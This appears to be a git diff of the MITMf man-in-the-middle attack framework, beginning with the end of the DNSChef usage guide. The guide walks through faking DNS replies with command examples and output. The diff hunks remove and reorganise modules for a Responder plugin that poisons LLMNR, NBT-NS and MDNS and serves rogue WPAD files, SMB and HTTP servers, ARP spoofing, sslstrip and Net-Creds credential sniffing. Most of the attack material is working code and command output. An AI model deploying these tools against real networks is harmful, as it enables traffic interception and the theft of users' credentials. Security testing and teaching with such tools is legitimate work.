NOTE: For usability not all DNS record types are exposed on the command line. Additional records such as PTR, TXT, SOA, etc. can be specified using the --file flag and an appropriate record header. See the [external definitions file](#external-definitions-file) section below for details.
|
||||
|
||||
At last let's observe how the application handles queries of type ANY:
|
||||
|
||||
# ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 --fakemail mail.fake.com --fakealias www.fake.com --fakens ns.fake.com -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] Cooking all A replies to point to 127.0.0.1
|
||||
[*] Cooking all AAAA replies to point to ::1
|
||||
[*] Cooking all MX replies to point to mail.fake.com
|
||||
[*] Cooking all CNAME replies to point to www.fake.com
|
||||
[*] Cooking all NS replies to point to ns.fake.com
|
||||
[00:17:29] 127.0.0.1: cooking the response of type 'ANY' for google.com with all known fake records.
|
||||
|
||||
DNS ANY record queries results in DNSChef returning every faked record that it knows about for an applicable domain. Here is the output that the program will see:
|
||||
|
||||
$ host -t ANY google.com localhost
|
||||
google.com has address 127.0.0.1
|
||||
google.com has IPv6 address ::1
|
||||
google.com mail is handled by 10 mail.fake.com.
|
||||
google.com is an alias for www.fake.com.
|
||||
google.com name server ns.fake.com.
|
||||
|
||||
Filtering domains
|
||||
-----------------
|
||||
|
||||
Using the above example, consider you only want to intercept requests for *thesprawl.org* and leave queries to all other domains such as *webfaction.com* without modification. You can use the *--fakedomains* parameter as illustrated below:
|
||||
|
||||
# ./dnschef.py --fakeip 127.0.0.1 --fakedomains thesprawl.org -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] Cooking replies to point to 127.0.0.1 matching: thesprawl.org
|
||||
[00:23:37] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 127.0.0.1
|
||||
[00:23:52] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com
|
||||
|
||||
From the above example the request for *thesprawl.org* was faked; however, the request for *mx9.webfaction.com* was left alone. Filtering domains is very useful when you attempt to isolate a single application without breaking the rest.
|
||||
|
||||
NOTE: DNSChef will not verify whether the domain exists or not before faking the response. If you have specified a domain it will always resolve to a fake value whether it really exists or not.
|
||||
|
||||
Reverse filtering
|
||||
-----------------
|
||||
|
||||
In another situation you may need to fake responses for all requests except a defined list of domains. You can accomplish this task using the *--truedomains* parameter as follows:
|
||||
|
||||
# ./dnschef.py --fakeip 127.0.0.1 --truedomains thesprawl.org,*.webfaction.com -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] Cooking replies to point to 127.0.0.1 not matching: *.webfaction.com, thesprawl.org
|
||||
[00:27:57] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com
|
||||
[00:28:05] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1
|
||||
|
||||
There are several things going on in the above example. First notice the use of a wildcard (*). All domains matching *.webfaction.com will be reverse matched and resolved to their true values. The request for 'google.com' returned 127.0.0.1 because it was not on the list of excluded domains.
|
||||
|
||||
NOTE: Wildcards are position specific. A mask of type *.thesprawl.org will match www.thesprawl.org but not www.test.thesprawl.org. However, a mask of type *.*.thesprawl.org will match thesprawl.org, www.thesprawl.org and www.test.thesprawl.org.
|
||||
|
||||
External definitions file
|
||||
-------------------------
|
||||
|
||||
There may be situations where defining a single fake DNS record for all matching domains may not be sufficient. You can use an external file with a collection of DOMAIN=RECORD pairs defining exactly where you want the request to go.
|
||||
|
||||
For example, let create the following definitions file and call it *dnschef.ini*:
|
||||
|
||||
[A]
|
||||
*.google.com=192.0.2.1
|
||||
thesprawl.org=192.0.2.2
|
||||
*.wordpress.*=192.0.2.3
|
||||
|
||||
Notice the section header [A], it defines the record type to DNSChef. Now let's carefully observe the output of multiple queries:
|
||||
|
||||
# ./dnschef.py --file dnschef.ini -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[+] Cooking A replies for domain *.google.com with '192.0.2.1'
|
||||
[+] Cooking A replies for domain thesprawl.org with '192.0.2.2'
|
||||
[+] Cooking A replies for domain *.wordpress.* with '192.0.2.3'
|
||||
[00:43:54] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1
|
||||
[00:44:05] 127.0.0.1: cooking the response of type 'A' for www.google.com to 192.0.2.1
|
||||
[00:44:19] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 192.0.2.2
|
||||
[00:44:29] 127.0.0.1: proxying the response of type 'A' for www.thesprawl.org
|
||||
[00:44:40] 127.0.0.1: cooking the response of type 'A' for www.wordpress.org to 192.0.2.3
|
||||
[00:44:51] 127.0.0.1: cooking the response of type 'A' for wordpress.com to 192.0.2.3
|
||||
[00:45:02] 127.0.0.1: proxying the response of type 'A' for slashdot.org
|
||||
|
||||
Both *google.com* and *www.google.com* matched the *\*.google.com* entry and correctly resolved to *192.0.2.1*. On the other hand *www.thesprawl.org* request was simply proxied instead of being modified. At last all variations of *wordpress.com*, *www.wordpress.org*, etc. matched the *\*.wordpress.\** mask and correctly resolved to *192.0.2.3*. At last an undefined *slashdot.org* query was simply proxied with a real response.
|
||||
|
||||
You can specify section headers for all other supported DNS record types including the ones not explicitly exposed on the command line: [A], [AAAA], [MX], [NS], [CNAME], [PTR], [NAPTR] and [SOA]. For example, let's define a new [PTR] section in the 'dnschef.ini' file:
|
||||
|
||||
[PTR]
|
||||
*.2.0.192.in-addr.arpa=fake.com
|
||||
|
||||
Let's observe DNSChef's behavior with this new record type:
|
||||
|
||||
./dnschef.py --file dnschef.ini -q
|
||||
[sudo] password for iphelix:
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[+] Cooking PTR replies for domain *.2.0.192.in-addr.arpa with 'fake.com'
|
||||
[00:11:34] 127.0.0.1: cooking the response of type 'PTR' for 1.2.0.192.in-addr.arpa to fake.com
|
||||
|
||||
And here is what a client might see when performing reverse DNS queries:
|
||||
|
||||
$ host 192.0.2.1 localhost
|
||||
1.2.0.192.in-addr.arpa domain name pointer fake.com.
|
||||
|
||||
Some records require exact formatting. Good examples are SOA and NAPTR
|
||||
|
||||
[SOA]
|
||||
*.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600
|
||||
|
||||
[NAPTR]
|
||||
*.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! .
|
||||
|
||||
See sample dnschef.ini file for additional examples.
|
||||
|
||||
Advanced Filtering
|
||||
------------------
|
||||
|
||||
You can mix and match input from a file and command line. For example the following command uses both *--file* and *--fakedomains* parameters:
|
||||
|
||||
# ./dnschef.py --file dnschef.ini --fakeip 6.6.6.6 --fakedomains=thesprawl.org,slashdot.org -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[+] Cooking A replies for domain *.google.com with '192.0.2.1'
|
||||
[+] Cooking A replies for domain thesprawl.org with '192.0.2.2'
|
||||
[+] Cooking A replies for domain *.wordpress.* with '192.0.2.3'
|
||||
[*] Cooking A replies to point to 6.6.6.6 matching: *.wordpress.*, *.google.com, thesprawl.org
|
||||
[*] Cooking A replies to point to 6.6.6.6 matching: slashdot.org, *.wordpress.*, *.google.com, thesprawl.org
|
||||
[00:49:05] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1
|
||||
[00:49:15] 127.0.0.1: cooking the response of type 'A' for slashdot.org to 6.6.6.6
|
||||
[00:49:31] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 6.6.6.6
|
||||
[00:50:08] 127.0.0.1: proxying the response of type 'A' for tor.com
|
||||
|
||||
Notice the definition for *thesprawl.org* in the command line parameter took precedence over *dnschef.ini*. This could be useful if you want to override values in the configuration file. slashdot.org still resolves to the fake IP address because it was specified in the *--fakedomains* parameter. tor.com request is simply proxied since it was not specified in either command line or the configuration file.
|
||||
|
||||
Other configurations
|
||||
====================
|
||||
|
||||
For security reasons, DNSChef listens on a local 127.0.0.1 (or ::1 for IPv6) interface by default. You can make DNSChef listen on another interface using the *--interface* parameter:
|
||||
|
||||
# ./dnschef.py --interface 0.0.0.0 -q
|
||||
[*] DNSChef started on interface: 0.0.0.0
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
[00:50:53] 192.0.2.105: proxying the response of type 'A' for thesprawl.org
|
||||
|
||||
or for IPv6:
|
||||
|
||||
# ./dnschef.py -6 --interface :: -q
|
||||
[*] Using IPv6 mode.
|
||||
[*] DNSChef started on interface: ::
|
||||
[*] Using the following nameservers: 2001:4860:4860::8888
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
[00:57:46] 2001:db8::105: proxying the response of type 'A' for thesprawl.org
|
||||
|
||||
By default, DNSChef uses Google's public DNS server to make proxy requests. However, you can define a custom list of nameservers using the *--nameservers* parameter:
|
||||
|
||||
# ./dnschef.py --nameservers 4.2.2.1,4.2.2.2 -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 4.2.2.1, 4.2.2.2
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
[00:55:08] 127.0.0.1: proxying the response of type 'A' for thesprawl.org
|
||||
|
||||
It is possible to specify non-standard nameserver port using IP#PORT notation:
|
||||
|
||||
# ./dnschef.py --nameservers 192.0.2.2#5353 -q
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 192.0.2.2#5353
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
[02:03:12] 127.0.0.1: proxying the response of type 'A' for thesprawl.org
|
||||
|
||||
At the same time it is possible to start DNSChef itself on an alternative port using the *-p port#* parameter:
|
||||
|
||||
# ./dnschef.py -p 5353 -q
|
||||
[*] Listening on an alternative port 5353
|
||||
[*] DNSChef started on interface: 127.0.0.1
|
||||
[*] Using the following nameservers: 8.8.8.8
|
||||
[*] No parameters were specified. Running in full proxy mode
|
||||
|
||||
DNS protocol can be used over UDP (default) or TCP. DNSChef implements a TCP mode which can be activated with the *--tcp* flag.
|
||||
|
||||
Internal architecture
|
||||
=====================
|
||||
|
||||
Here is some information on the internals in case you need to adapt the tool for your needs. DNSChef is built on top of the SocketServer module and uses threading to help process multiple requests simultaneously. The tool is designed to listen on TCP or UDP ports (default is port 53) for incoming requests and forward those requests when necessary to a real DNS server over UDP.
|
||||
|
||||
The excellent [dnslib library](https://bitbucket.org/paulc/dnslib/wiki/Home) is used to dissect and reassemble DNS packets. It is particularly useful when generating response packets based on queries. [IPy](https://github.com/haypo/python-ipy/) is used for IPv6 addresses manipulation. Both libraries come bundled with DNSChef to ease installation.
|
||||
|
||||
DNSChef is capable of modifing queries for records of type "A", "AAAA", "MX", "CNAME", "NS", "TXT", "PTR", "NAPTR", "SOA", "ANY". It is very easy to expand or modify behavior for any record. Simply add another **if qtype == "RECORD TYPE")** entry and tell it what to reply with.
|
||||
|
||||
Enjoy the tool and forward all requests and comments to iphelix [at] thesprawl.org.
|
||||
|
||||
Happy hacking!
|
||||
-Peter
|
|
@ -1,64 +0,0 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import logging
|
||||
import threading
|
||||
import sys
|
||||
|
||||
from core.utils import shutdown
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from flask import Flask
|
||||
|
||||
class HTTPserver(ConfigWatcher):
|
||||
|
||||
server = Flask("HTTPserver")
|
||||
func_list = []
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def start_flask(self):
|
||||
|
||||
@self.server.route('/', defaults={'path': '/'})
|
||||
@self.server.route('/<path:path>')
|
||||
def catch_all(path):
|
||||
for func in self.func_list:
|
||||
resp = func(path)
|
||||
if resp:
|
||||
return resp
|
||||
return path
|
||||
|
||||
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
|
||||
|
||||
def start(self):
|
||||
self.setup_http_logger()
|
||||
server_thread = threading.Thread(name='HTTPserver', target=self.start_flask)
|
||||
server_thread.setDaemon(True)
|
||||
server_thread.start()
|
||||
|
||||
def add_endpoint(self, function):
|
||||
self.func_list.append(function)
|
||||
|
||||
def setup_http_logger(self):
|
||||
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
flask_logger = logging.getLogger('werkzeug')
|
||||
flask_logger.propagate = False
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
fileHandler.setFormatter(formatter)
|
||||
flask_logger.addHandler(fileHandler)
|
|
@ -1,76 +0,0 @@
|
|||
import logging
|
||||
import sys
|
||||
import threading
|
||||
import os
|
||||
|
||||
from socket import error as socketerror
|
||||
from mitmflib.impacket import version, smbserver, LOG
|
||||
from core.servers.smb.KarmaSMB import KarmaSMBServer
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
class SMBserver(ConfigWatcher):
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
def __init__(self):
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
self.version = version.VER_MINOR
|
||||
self.mode = self.config["MITMf"]["SMB"]["mode"].lower()
|
||||
self.challenge = self.config["MITMf"]["SMB"]["Challenge"]
|
||||
self.port = int(self.config["MITMf"]["SMB"]["port"])
|
||||
|
||||
def server(self):
|
||||
try:
|
||||
if self.mode == 'normal':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = smbserver.SimpleSMBServer(listenPort=self.port)
|
||||
|
||||
for share in self.config["MITMf"]["SMB"]["Shares"]:
|
||||
path = self.config["MITMf"]["SMB"]["Shares"][share]['path']
|
||||
readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower()
|
||||
server.addShare(share.upper(), path, readOnly=readonly)
|
||||
|
||||
server.setSMBChallenge(self.challenge)
|
||||
server.setLogFile('')
|
||||
|
||||
elif self.mode == 'karma':
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
self.conf_impacket_logger(formatter)
|
||||
|
||||
server = KarmaSMBServer(self.challenge, self.port)
|
||||
server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"]
|
||||
|
||||
for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems():
|
||||
server.extensions[extension.upper()] = os.path.normpath(path)
|
||||
|
||||
else:
|
||||
shutdown("\n[-] Invalid SMB server type specified in config file!")
|
||||
|
||||
return server
|
||||
|
||||
except socketerror as e:
|
||||
if "Address already in use" in e:
|
||||
shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port))
|
||||
|
||||
def conf_impacket_logger(self, formatter):
|
||||
|
||||
LOG.setLevel(logging.INFO)
|
||||
LOG.propagate = False
|
||||
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler.setFormatter(formatter)
|
||||
LOG.addHandler(fileHandler)
|
||||
LOG.addHandler(streamHandler)
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='SMBserver', target=self.server().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
|
@ -202,16 +202,17 @@ class ClientRequest(Request):
|
|||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
log.debug("Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
if self.getHeader('host') is not None:
|
||||
log.debug("Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
||||
if self.hsts:
|
||||
host = self.urlMonitor.URLgetRealHost(str(host))
|
||||
if self.hsts:
|
||||
host = self.urlMonitor.URLgetRealHost(str(host))
|
||||
|
||||
deferred = self.resolveHost(host)
|
||||
deferred.addCallback(self.handleHostResolvedSuccess)
|
||||
deferred.addErrback(self.handleHostResolvedError)
|
||||
|
||||
deferred = self.resolveHost(host)
|
||||
deferred.addCallback(self.handleHostResolvedSuccess)
|
||||
deferred.addErrback(self.handleHostResolvedError)
|
||||
|
||||
def proxyViaHTTP(self, host, method, path, postData, headers, port):
|
||||
connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
|
||||
connectionFactory.protocol = ServerConnection
|
||||
|
|
|
@ -28,7 +28,7 @@ import sys
|
|||
from mitmflib.user_agents import parse
|
||||
from twisted.web.http import HTTPClient
|
||||
from URLMonitor import URLMonitor
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.proxyplugins import ProxyPlugins
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
|
|
|
@ -23,7 +23,7 @@ import sys
|
|||
|
||||
from commands import getstatusoutput
|
||||
from core.logger import logger
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.proxyplugins import ProxyPlugins
|
||||
from scapy.all import get_if_addr, get_if_hwaddr, get_working_if
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
|
@ -105,4 +105,4 @@ class iptables:
|
|||
def NFQUEUE(self):
|
||||
log.debug("Setting iptables NFQUEUE rule")
|
||||
os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1')
|
||||
self.nfqueue = True
|
||||
self.nfqueue = True
|
46
mitmf.py
46
mitmf.py
|
@ -22,13 +22,12 @@ import logging
|
|||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
||||
logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO)
|
||||
logging.getLogger('mitmflib.impacket').setLevel(logging.INFO)
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
import threading
|
||||
import core.responder.settings as settings
|
||||
|
||||
from twisted.web import http
|
||||
from twisted.internet import reactor
|
||||
|
@ -46,7 +45,7 @@ if os.geteuid() != 0:
|
|||
|
||||
parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename),
|
||||
version="{} - '{}'".format(mitmf_version, mitmf_codename),
|
||||
usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]',
|
||||
usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]',
|
||||
epilog="Use wisely, young Padawan.")
|
||||
|
||||
#add MITMf options
|
||||
|
@ -73,14 +72,14 @@ options = parser.parse_args()
|
|||
logger().log_level = logging.__dict__[options.log_level.upper()]
|
||||
|
||||
#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
|
||||
from core.utils import get_iface, get_ip, get_mac, shutdown
|
||||
if not options.interface:
|
||||
options.interface = get_iface()
|
||||
from core.utils import get_ip, get_mac, shutdown
|
||||
options.ip = get_ip(options.interface)
|
||||
options.mac = get_mac(options.interface)
|
||||
|
||||
settings.Config.populate(options)
|
||||
|
||||
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.proxyplugins import ProxyPlugins
|
||||
from core.sslstrip.StrippingProxy import StrippingProxy
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
|
||||
|
@ -92,6 +91,7 @@ strippingFactory = http.HTTPFactory(timeout=10)
|
|||
strippingFactory.protocol = StrippingProxy
|
||||
|
||||
reactor.listenTCP(options.listen_port, strippingFactory)
|
||||
reactor.listenTCP(3141, strippingFactory)
|
||||
|
||||
ProxyPlugins().all_plugins = plugins
|
||||
|
||||
|
@ -124,42 +124,42 @@ print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
|
|||
print "|"
|
||||
|
||||
if options.filter:
|
||||
from core.packetparser import PacketParser
|
||||
pparser = PacketParser(options.filter)
|
||||
pparser.start()
|
||||
print "|_ PacketParser online"
|
||||
from core.packetfilter import PacketFilter
|
||||
pfilter = PacketFilter(options.filter)
|
||||
pfilter.start()
|
||||
print "|_ PacketFilter online"
|
||||
print "| |_ Applying filter {} to incoming packets".format(options.filter)
|
||||
|
||||
#Start mitmf-api
|
||||
from core.mitmfapi import mitmfapi
|
||||
print "|_ MITMf-API online"
|
||||
mitmfapi().start()
|
||||
#from core.mitmfapi import mitmfapi
|
||||
#print "|_ MITMf-API online"
|
||||
#mitmfapi().start()
|
||||
|
||||
#Start Net-Creds
|
||||
from core.netcreds.NetCreds import NetCreds
|
||||
from core.netcreds import NetCreds
|
||||
NetCreds().start(options.interface, options.ip)
|
||||
print "|_ Net-Creds v{} online".format(NetCreds.version)
|
||||
|
||||
#Start the HTTP Server
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
HTTPserver().start()
|
||||
print "|_ HTTP server online"
|
||||
#from core.servers.HTTP import HTTP
|
||||
#HTTPserver().start()
|
||||
#print "|_ HTTP server online"
|
||||
|
||||
#Start DNSChef
|
||||
from core.servers.dns.DNSchef import DNSChef
|
||||
from core.servers.DNS import DNSChef
|
||||
DNSChef().start()
|
||||
print "|_ DNSChef v{} online".format(DNSChef.version)
|
||||
|
||||
#Start the SMB server
|
||||
from core.servers.smb.SMBserver import SMBserver
|
||||
SMBserver().start()
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version)
|
||||
from core.servers.SMB import SMB
|
||||
SMB().start()
|
||||
print "|_ SMB server online\n"
|
||||
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
print "\n"
|
||||
|
||||
if options.filter:
|
||||
pparser.stop()
|
||||
pfilter.stop()
|
||||
|
||||
shutdown()
|
|
@ -1,138 +0,0 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import flask
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
|
||||
class Responder(Plugin):
|
||||
name = "Responder"
|
||||
optname = "responder"
|
||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
version = "0.2"
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.interface = options.interface
|
||||
self.ip = options.ip
|
||||
|
||||
try:
|
||||
config = self.config['Responder']
|
||||
smbChal = self.config['MITMf']['SMB']['Challenge']
|
||||
except Exception as e:
|
||||
shutdown('[-] Error parsing config for Responder: ' + str(e))
|
||||
|
||||
from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner
|
||||
from core.responder.mdns.MDNSpoisoner import MDNSpoisoner
|
||||
from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner
|
||||
from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter
|
||||
|
||||
LANfingerprinter().start(options)
|
||||
MDNSpoisoner().start(options, options.ip)
|
||||
NBTNSpoisoner().start(options, options.ip)
|
||||
LLMNRpoisoner().start(options, options.ip)
|
||||
|
||||
if options.wpad:
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
def wpad_request(path):
|
||||
if (path == 'wpad.dat') or (path.endswith('.pac')):
|
||||
payload = self.config['Responder']['WPADScript']
|
||||
|
||||
resp = flask.Response(payload)
|
||||
resp.headers['Server'] = "Microsoft-IIS/6.0"
|
||||
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
|
||||
resp.headers['X-Powered-By'] = "ASP.NET"
|
||||
resp.headers['Content-Length'] = len(payload)
|
||||
|
||||
return resp
|
||||
|
||||
HTTPserver().add_endpoint(wpad_request)
|
||||
|
||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||
from core.responder.mssql.MSSQLserver import MSSQLserver
|
||||
MSSQLserver().start(smbChal)
|
||||
|
||||
if self.config["Responder"]["Kerberos"].lower() == "on":
|
||||
from core.responder.kerberos.KERBserver import KERBserver
|
||||
KERBserver().start()
|
||||
|
||||
if self.config["Responder"]["FTP"].lower() == "on":
|
||||
from core.responder.ftp.FTPserver import FTPserver
|
||||
FTPserver().start()
|
||||
|
||||
if self.config["Responder"]["POP"].lower() == "on":
|
||||
from core.responder.pop3.POP3server import POP3server
|
||||
POP3server().start()
|
||||
|
||||
if self.config["Responder"]["SMTP"].lower() == "on":
|
||||
from core.responder.smtp.SMTPserver import SMTPserver
|
||||
SMTPserver().start()
|
||||
|
||||
if self.config["Responder"]["IMAP"].lower() == "on":
|
||||
from core.responder.imap.IMAPserver import IMAPserver
|
||||
IMAPserver().start()
|
||||
|
||||
if self.config["Responder"]["LDAP"].lower() == "on":
|
||||
from core.responder.ldap.LDAPserver import LDAPserver
|
||||
LDAPserver().start(smbChal)
|
||||
|
||||
if options.analyze:
|
||||
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||
self.IsICMPRedirectPlausible(options.ip)
|
||||
|
||||
def IsICMPRedirectPlausible(self, IP):
|
||||
result = []
|
||||
dnsip = []
|
||||
for line in file('/etc/resolv.conf', 'r'):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
|
||||
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
|
||||
else:
|
||||
pass
|
||||
|
||||
def IsOnTheSameSubnet(self, ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def reactor(self, strippingFactory):
|
||||
reactor.listenTCP(3141, strippingFactory)
|
||||
|
||||
def options(self, options):
|
||||
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning")
|
||||
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
|
||||
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")
|
||||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
||||
# Removed these options until I find a better way of implementing them
|
||||
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
|
@ -37,14 +37,14 @@ class Spoof(Plugin):
|
|||
if not options.gateway:
|
||||
shutdown("[Spoof] --arp argument requires --gateway")
|
||||
|
||||
from core.poisoners.arp.ARPpoisoner import ARPpoisoner
|
||||
from core.poisoners.ARP import ARPpoisoner
|
||||
arp = ARPpoisoner(options)
|
||||
arp.debug = debug
|
||||
self.tree_info.append('ARP spoofing enabled')
|
||||
self.protocol_instances.append(arp)
|
||||
|
||||
elif options.dhcp:
|
||||
